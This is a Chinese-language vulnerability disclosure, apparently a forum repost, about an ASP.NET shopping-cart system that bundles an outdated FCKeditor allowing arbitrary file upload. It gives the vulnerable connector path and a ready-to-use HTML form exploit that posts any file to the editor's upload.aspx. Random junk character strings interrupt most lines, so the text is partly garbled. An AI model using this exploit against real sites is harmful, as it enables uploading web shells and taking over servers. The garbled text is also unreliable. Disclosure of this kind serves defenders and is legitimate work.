披露状态：2011-07-19： 细节已通知厂商并且等待厂商处理中
/ ]3 c& [4 V8 p6 G; l. H 2011-07-20： 厂商已经主动忽略漏洞，细节向公众公开
3 J/ G8 {. p7 |: D( X4 ]/ \2 a7 f 简要描述：这个号称中国首家ASP.NET免费开源商城购物系统。最新版本是4.7，竟然采用2.4版本以下的fckeditor编辑器。所以可以直接上传任意文件。: n2 D+ G) W, t3 H& b; g3 Z, `
详细说明：其他版本我没测试，估计也是一样的问题
+ R6 I+ t h8 s) _% ]) @ http://127.0.0.1/controls/fckedi ... aspx/connector.aspx/ q" W% Z( S$ B' i H
跳转到网站根目录上传任意文件。
5 R. S9 Z w9 \- N d 漏洞证明：如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件$ z$ b+ e/ |/ Q7 i
<form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">& {4 D w2 L: _: t9 y% E& }# j1 X ?
Upload a new file:<br>" | _0 _' D+ n2 k; X, ^
<input type="file" name="NewFile" size="50"><br>1 w6 v8 I9 j; ] y; | _
<input id="btnUpload" type="submit" value="Upload">% Z- M1 A# O1 V+ s
</form> |
发表于 2012-9-10 20:46:29
收藏
支持
反对